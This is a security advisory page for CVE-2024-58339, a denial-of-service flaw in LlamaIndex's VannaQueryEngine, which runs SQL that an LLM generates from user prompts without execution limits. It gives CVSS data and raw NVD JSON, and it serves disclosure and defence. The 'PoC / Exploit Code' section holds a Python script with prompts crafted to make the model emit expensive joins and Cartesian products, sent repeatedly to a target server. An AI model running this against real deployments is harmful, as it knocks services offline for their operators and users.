Security Vulnerability Report
中文
CVE-2024-58339 CVSS 7.5 HIGH

CVE-2024-58339

Published: 2026-01-12 23:15:52
Last Modified: 2026-01-21 18:30:27

Description

LlamaIndex (run-llama/llama_index) versions up to and including 0.12.2 contain an uncontrolled resource consumption vulnerability in the VannaPack VannaQueryEngine implementation. The custom_query() logic generates SQL statements from a user-supplied prompt and executes them via vn.run_sql() without enforcing query execution limits In downstream deployments where untrusted users can supply prompts, an attacker can trigger expensive or unbounded SQL operations that exhaust CPU or memory resources, resulting in a denial-of-service condition. The vulnerable execution path occurs in llama_index/packs/vanna/base.py within custom_query().

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:llamaindex:llamaindex:*:*:*:*:*:*:*:* - VULNERABLE
LlamaIndex (run-llama/llama_index) <= 0.12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2024-58339 PoC - LlamaIndex VannaQueryEngine Resource Exhaustion # Target: LlamaIndex application using VannaPack VannaQueryEngine def exploit_vanna_resource_exhaustion(target_url, malicious_prompt): """ PoC for resource exhaustion via VannaQueryEngine custom_query() This demonstrates how an attacker can trigger unbounded SQL execution """ # Malicious prompts that generate expensive SQL operations malicious_prompts = [ # Trigger full table scan with complex joins "Show me all records from users, orders, products, and inventory tables joined together with aggregate functions", # Trigger nested subqueries "Find all customers who have orders that contain products that are in categories that have subcategories...", # Trigger Cartesian product "Combine every record from all tables together" ] payload = { "prompt": malicious_prompts[0], "session_id": "attacker_session" } # Send repeated requests to exhaust server resources for i in range(100): try: response = requests.post( f"{target_url}/vanna/query", json=payload, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") except requests.exceptions.Timeout: print(f"Request {i+1}: Timeout - Server resource exhaustion likely") break return True # Example usage if __name__ == "__main__": target = "http://vulnerable-llamaindex-server:8000" exploit_vanna_resource_exhaustion(target, "malicious query")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-58339", "sourceIdentifier": "[email protected]", "published": "2026-01-12T23:15:51.630", "lastModified": "2026-01-21T18:30:26.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LlamaIndex (run-llama/llama_index) versions up to and including 0.12.2 contain an uncontrolled resource consumption vulnerability in the VannaPack VannaQueryEngine implementation. The custom_query() logic generates SQL statements from a user-supplied prompt and executes them via vn.run_sql() without enforcing query execution limits In downstream deployments where untrusted users can supply prompts, an attacker can trigger expensive or unbounded SQL operations that exhaust CPU or memory resources, resulting in a denial-of-service condition. The vulnerable execution path occurs in llama_index/packs/vanna/base.py within custom_query()."}, {"lang": "es", "value": "Las versiones de LlamaIndex (run-llama/llama_index) hasta la 0.12.2 inclusive contienen una vulnerabilidad de consumo de recursos no controlado en la implementación de VannaPack VannaQueryEngine. La lógica de custom_query() genera sentencias SQL a partir de una instrucción (prompt) suministrada por el usuario y las ejecuta a través de vn.run_sql() sin aplicar límites de ejecución de consultas. En implementaciones posteriores donde usuarios no confiables pueden suministrar instrucciones (prompts), un atacante puede desencadenar operaciones SQL costosas o ilimitadas que agotan los recursos de CPU o memoria, resultando en una condición de denegación de servicio. La ruta de ejecución vulnerable ocurre en llama_index/packs/vanna/base.py dentro de custom_query()."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:llamaindex:llamaindex:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.12.2", "matchCriteriaId": "CB345710-A1F4-456E-84BF-897D94D9B950"}]}]}], "references": [{"url": "https://github.com/run-llama/llama_index", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://huntr.com/bounties/a1d6c30d-fce0-412a-bd22-14e0d4c1fa1f", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.llamaindex.ai/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/llamaindex-vannaqueryengine-sql-execution-allows-resource-exhaustion", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}